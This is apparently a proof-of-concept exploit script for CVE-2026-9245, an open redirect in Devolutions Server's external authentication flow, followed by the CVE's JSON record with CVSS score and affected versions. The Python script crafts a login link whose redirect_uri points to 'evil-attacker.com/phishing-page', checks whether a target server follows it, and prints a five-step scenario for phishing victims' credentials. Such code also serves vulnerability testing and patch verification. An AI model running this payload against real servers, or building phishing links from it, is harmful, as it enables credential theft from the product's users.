CVE-2026-9245

# CVE-2026-9245 PoC - Open Redirect in Devolutions Server # Description: Attacker crafts malicious login link to redirect victim to attacker-controlled domain import requests import urllib.parse from datetime import datetime def generate_malicious_link(target_server, attacker_domain): """ Generate malicious login link with open redirect payload """ # Normal Devolutions Server login endpoint base_url = f"https://{target_server}" # Malicious redirect parameter pointing to attacker's domain redirect_param = urllib.parse.quote(f"https://{attacker_domain}/phishing-page") # Construct the malicious URL malicious_url = f"{base_url}/auth/external?provider=saml&redirect_uri={redirect_param}" return malicious_url def check_vulnerability(target_server, attacker_domain): """ Check if the target is vulnerable to open redirect """ malicious_url = generate_malicious_link(target_server, attacker_domain) print(f"[*] Target: {target_server}") print(f"[*] Attacker Domain: {attacker_domain}") print(f"[*] Malicious URL: {malicious_url}") try: response = requests.get(malicious_url, allow_redirects=False, timeout=10) # Check for redirect to attacker domain if 'location' in response.headers: location = response.headers['location'] print(f"[+] Response Location Header: {location}") if attacker_domain in location: print("[!] VULNERABLE: Server redirects to attacker-controlled domain") return True # Also check actual redirects final_url = response.url if attacker_domain in final_url: print("[!] VULNERABLE: Final URL redirected to attacker domain") return True print("[-] Not vulnerable or no redirect detected") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": # Configuration TARGET_SERVER = "victim-server.devolutions.local" ATTACKER_DOMAIN = "evil-attacker.com" print("=" * 60) print("CVE-2026-9245 PoC - Devolutions Server Open Redirect") print(f"Timestamp: {datetime.now().isoformat()}") print("=" * 60) vulnerable = check_vulnerability(TARGET_SERVER, ATTACKER_DOMAIN) if vulnerable: print("\n[!] Attack Scenario:") print("1. Attacker sends phishing email with malicious link") print("2. Victim clicks link, sees legitimate Devolutions Server URL") print("3. After 'login', victim redirects to attacker's phishing page") print("4. Victim enters credentials on fake page") print("5. Attacker steals credentials")

{"cve": {"id": "CVE-2026-9245", "sourceIdentifier": "[email protected]", "published": "2026-05-22T16:16:25.400", "lastModified": "2026-05-22T19:05:13.680", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input validation in the external authentication provider flow in Devolutions Server allows an unauthenticated remote attacker to redirect victims to an attacker-controlled domain via a crafted login link.\n\nThis issue affects :\n\n * Devolutions Server 2026.1.6.0 through 2026.1.16.0\n * Devolutions Server 2025.3.20.0 and earlier"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.3.22.0", "matchCriteriaId": "6E689234-ABCB-49B5-AD17-00C2E2FC3B11"}, {"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.6.0", "versionEndExcluding": "2026.1.19.0", "matchCriteriaId": "02811CA7-5B80-47D7-B826-18B3CB1213E9"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2026-0013/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}